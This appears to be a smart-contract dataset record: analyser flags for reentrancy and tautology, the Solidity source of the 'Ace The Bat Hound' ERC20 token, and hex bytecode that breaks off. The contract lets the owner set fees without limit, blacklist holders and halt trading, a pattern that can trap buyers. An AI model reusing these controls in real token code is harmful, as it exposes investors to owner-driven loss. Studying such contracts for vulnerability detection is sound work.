2be6103ae366004611c30565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611c78565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611c30565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028e565b34801561045557600080fd5b506101fc610464366004611c5d565b61089c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611c78565b6108e4565b3480156104ab57600080fd5b506101fc6104ba366004611c91565b610913565b3480156104cb57600080fd5b5061025e6104da366004611bc3565b610ac9565b3480156104eb57600080fd5b5061025e6104fa366004611c30565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc610ad6565b34801561053057600080fd5b506101fc61053f366004611cc3565b610b2a565b34801561055057600080fd5b506102be61055f366004611d47565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611c78565b610bcb565b3480156105b657600080fd5b506101fc6105c5366004611c30565b610bfa565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611d80565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611db5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611de1565b915050610600565b5050565b6000610676338484610ce4565b5060015b92915050565b600061068d848484610e08565b6106df84336106da85604051806060016040528060288152602001611efb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611344565b610ce4565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611d80565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611d80565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c48161137e565b50565b6001600160a01b03811660009081526002602052604081205461067a906113b8565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611d80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611d80565b674563918244f400008111156107c457601655565b6000546001600160a01b031633146108c65760405162461bcd60e51b81526004016105f490611d80565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461090e5760405162461bcd60e51b81526004016105f490611d80565b601855565b6000546001600160a01b0316331461093d5760405162461bcd60e51b81526004016105f490611d80565b600484111561099c5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f4565b600e8211156109f85760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f4565b6004831115610a585760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f4565b600e811115610ab55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f4565b600893909355600a91909155600955600b55565b6000610676338484610e08565b6012546001600160a01b0316336001600160a01b03161480610b0b57506013546001600160a01b0316336001600160a01b0316145b610b1457600080fd5b6000610b1f306107c7565b90506107c48161143c565b6000546001600160a01b03163314610b545760405162461bcd60e51b81526004016105f490611d80565b60005b82811015610bc5578160056000868685818110610b7657610b76611db5565b9050602002016020810190610b8b9190611c30565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bbd81611de1565b915050610b57565b50505050565b6000546001600160a01b03163314610bf55760405162461bcd60e51b81526004016105f490611d80565b601755565b6000546001600160a01b03163314610c245760405162461bcd60e51b81526004016105f490611d80565b6001600160a01b038116610c895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610da75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610ece5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610f305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610f5c57506000546001600160a01b03838116911614155b1561123d57601554600160a01b900460ff16610ff5576000546001600160a01b03848116911614610ff55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b6016548111156110475760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff1615801561108957506001600160a01b03821660009081526010602052604090205460ff16155b6110e15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b038381169116146111665760175481611103846107c7565b61110d9190611dfc565b106111665760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000611171306107c7565b60185460165491925082101590821061118a5760165491505b8080156111a15750601554600160a81b900460ff16155b80156111bb57506015546001600160a01b03868116911614155b80156111d05750601554600160b01b900460ff165b80156111f557506001600160a01b03851660009081526005602052604090205460ff16155b801561121a57506001600160a01b03841660009081526005602052604090205460ff16155b1561123a576112288261143c565b478015611238576112384761137e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127f57506001600160a01b03831660009081526005602052604090205460ff165b806112b157506015546001600160a01b038581169116148015906112b157506015546001600160a01b03848116911614155b156112be57506000611338565b6015546001600160a01b0385811691161480156112e957506014546001600160a01b03848116911614155b156112fb57600854600c55600954600d555b6015546001600160a01b03848116911614801561132657506014546001600160a01b03858116911614155b1561133857600a54600c55600b54600d555b610bc5848484846115b6565b600081848411156113685760405162461bcd60e51b81526004016105f49190611b6e565b5060006113758486611e14565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b600060065482111561141f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006114296115e4565b90506114358382611607565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148457611484611db5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115019190611e2b565b8160018151811061151457611514611db5565b6001600160a01b03928316602091820292909201015260145461153a9130911684610ce4565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611573908590600090869030904290600401611e48565b600060405180830381600087803b15801561158d57600080fd5b505af11580156115a1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c3576115c3611649565b6115ce848484611677565b80610bc557610bc5600e54600c55600f54600d55565b60008060006115f161176e565b90925090506116008282611607565b9250505090565b600061143583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b0565b600c541580156116595750600d54155b1561166057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611689876117de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116bb908761183b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ea908661187d565b6001600160a01b03891660009081526002602052604090205561170c816118dc565b6117168483611926565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061178a8282611607565b8210156117a757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117d15760405162461bcd60e51b81526004016105f49190611b6e565b5060006113758486611eb9565b60008060008060008060008060006117fb8a600c54600d5461194a565b925092509250600061180b6115e4565b9050600080600061181e8e87878761199f565b919e509c509a509598509396509194505050505091939550919395565b600061143583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611344565b60008061188a8385611dfc565b9050838110156114355760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b60006118e66115e4565b905060006118f483836119ef565b30600090815260026020526040902054909150611911908261187d565b30600090815260026020526040902055505050565b600654611933908361183b565b600655600754611943908261187d565b6007555050565b6000808080611964606461195e89896119ef565b90611607565b90506000611977606461195e8a896119ef565b9050600061198f826119898b8661183b565b9061183b565b9992985090965090945050505050565b60008080806119ae88866119ef565b905060006119bc88876119ef565b905060006119ca88886119ef565b905060006119dc82611989868661183b565b939b939a50919850919650505050505050565b6000826119fe5750600061067a565b6000611a0a8385611edb565b905082611a178583611eb9565b146114355760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611aa481611a84565b919050565b60006020808385031215611abc57600080fd5b823567ffffffffffffffff80821115611ad457600080fd5b818501915085601f830112611ae857600080fd5b813581811115611afa57611afa611a6e565b8060051b604051601f19603f83011681018181108582111715611b1f57611b1f611a6e565b604052918252848201925083810185019188831115611b3d57600080fd5b938501935b82851015611b6257611b5385611a99565b84529385019392850192611b42565b98975050505050505050565b600060208083528351808285015260005b81811015611b9b57858101830151858201604001528201611b7f565b81811115611bad576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd657600080fd5b8235611be181611a84565b946020939093013593505050565b600080600060608486031215611c0457600080fd5b8335611c0f81611a84565b92506020840135611c1f81611a84565b929592945050506040919091013590565b600060208284031215611c4257600080fd5b813561143581611a84565b80358015158114611aa457600080fd5b600060208284031215611c6f57600080fd5b61143582611c4d565b600060208284031215611c8a57600080fd5b5035919050565b60008060008060808587031215611ca757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd857600080fd5b833567ffffffffffffffff80821115611cf057600080fd5b818601915086601f830112611d0457600080fd5b813581811115611d1357600080fd5b8760208260051b8501011115611d2857600080fd5b602092830195509350611d3e9186019050611c4d565b90509250925092565b60008060408385031215611d5a57600080fd5b8235611d6581611a84565b91506020830135611d7581611a84565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df557611df5611dcb565b5060010190565b60008219821115611e0f57611e0f611dcb565b500190565b600082821015611e2657611e26611dcb565b500390565b600060208284031215611e3d57600080fd5b815161143581611a84565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e985784516001600160a01b031683529383019391830191600101611e73565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef557611ef5611dcb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012546a291df7bfa728a9d9427c94d37b8e222d10595b0f8b0c8b5dc83a8032e664736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,256 |
0xe1291056054a43096062ee84c3e9af00aa6d3be4
|
// SPDX-License-Identifier: Unlicensed
// https://www.ace-crypto.com/
// https://t.me/acebatinu
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AceTheBatHound is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ace The Bat Hound";
string private constant _symbol = "ACE";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 11;
//Sell Fee
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x5EDf2c30127CBFcc28C1649d9c9519629A626775);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 7500000 * 10**9; //0.75
uint256 public _maxWalletSize = 15000000 * 10**9; //1.5
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610569578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b806395d89b41146104cd57806398a5c315146104f9578063a9059cbb14610519578063bfd792841461053957600080fd5b80638da5cb5b116100d15780638da5cb5b146104645780638eb59a5f146104825780638f70ccf7146104975780638f9a55c0146104b757600080fd5b8063715018a61461041957806374010ece1461042e5780637d1db4a51461044e57600080fd5b80632fd689e31161016f578063672434821161013e57806367243482146103835780636b999053146103a35780636d8aa8f8146103c357806370a08231146103e357600080fd5b80632fd689e314610311578063313ce5671461032757806349bd5a5e14610343578063658d4b7f1461036357600080fd5b80630b78f9c0116101ab5780630b78f9c01461027a5780631694505e1461029a57806318160ddd146102d257806323b872dd146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c67565b610604565b005b34801561020a57600080fd5b506040805180820190915260118152701058d948151a194810985d08121bdd5b99607a1b60208201525b6040516102419190611dae565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611bd3565b6106b1565b6040519015158152602001610241565b34801561028657600080fd5b506101fc610295366004611d60565b6106c8565b3480156102a657600080fd5b50600c546102ba906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102de57600080fd5b506005545b604051908152602001610241565b3480156102fd57600080fd5b5061026a61030c366004611b5f565b6106fd565b34801561031d57600080fd5b506102e360105481565b34801561033357600080fd5b5060405160098152602001610241565b34801561034f57600080fd5b50600d546102ba906001600160a01b031681565b34801561036f57600080fd5b506101fc61037e366004611b9f565b610766565b34801561038f57600080fd5b506101fc61039e366004611bfe565b6107bb565b3480156103af57600080fd5b506101fc6103be366004611aef565b61086f565b3480156103cf57600080fd5b506101fc6103de366004611d2e565b6108ba565b3480156103ef57600080fd5b506102e36103fe366004611aef565b6001600160a01b031660009081526001602052604090205490565b34801561042557600080fd5b506101fc610902565b34801561043a57600080fd5b506101fc610449366004611d48565b610938565b34801561045a57600080fd5b506102e3600e5481565b34801561047057600080fd5b506000546001600160a01b03166102ba565b34801561048e57600080fd5b506101fc610967565b3480156104a357600080fd5b506101fc6104b2366004611d2e565b6109b2565b3480156104c357600080fd5b506102e3600f5481565b3480156104d957600080fd5b5060408051808201909152600381526241434560e81b6020820152610234565b34801561050557600080fd5b506101fc610514366004611d48565b6109fa565b34801561052557600080fd5b5061026a610534366004611bd3565b610a29565b34801561054557600080fd5b5061026a610554366004611aef565b600a6020526000908152604090205460ff1681565b34801561057557600080fd5b506101fc610a36565b34801561058a57600080fd5b506102e3610599366004611b27565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611d48565b610a7c565b3480156105f057600080fd5b506101fc6105ff366004611aef565b610aab565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611e01565b60405180910390fd5b60005b81518110156106ad576001600a600084848151811061066957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a581611f14565b91505061063a565b5050565b60006106be338484610bc6565b5060015b92915050565b6000546001600160a01b031633146106f25760405162461bcd60e51b815260040161062e90611e01565b600691909155600755565b600061070a848484610cea565b61075c843361075785604051806060016040528060288152602001611f71602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112bc565b610bc6565b5060019392505050565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062e90611e01565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107e55760405162461bcd60e51b815260040161062e90611e01565b60005b83811015610868576108553386868481811061081457634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108299190611aef565b85858581811061084957634e487b7160e01b600052603260045260246000fd5b905060200201356112f6565b508061086081611f14565b9150506107e8565b5050505050565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161062e90611e01565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062e90611e01565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062e90611e01565b61093660006113dc565b565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062e90611e01565b600e55565b6000546001600160a01b031633146109915760405162461bcd60e51b815260040161062e90611e01565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109dc5760405162461bcd60e51b815260040161062e90611e01565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a245760405162461bcd60e51b815260040161062e90611e01565b601055565b60006106be338484610cea565b6000546001600160a01b03163314610a605760405162461bcd60e51b815260040161062e90611e01565b30600090815260016020526040902054610a798161142c565b50565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062e90611e01565b600f55565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062e90611e01565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600060046000610b526000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b83816113dc565b600160046000610b9b6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610db05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610e125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6001600160a01b03821660009081526004602052604090205460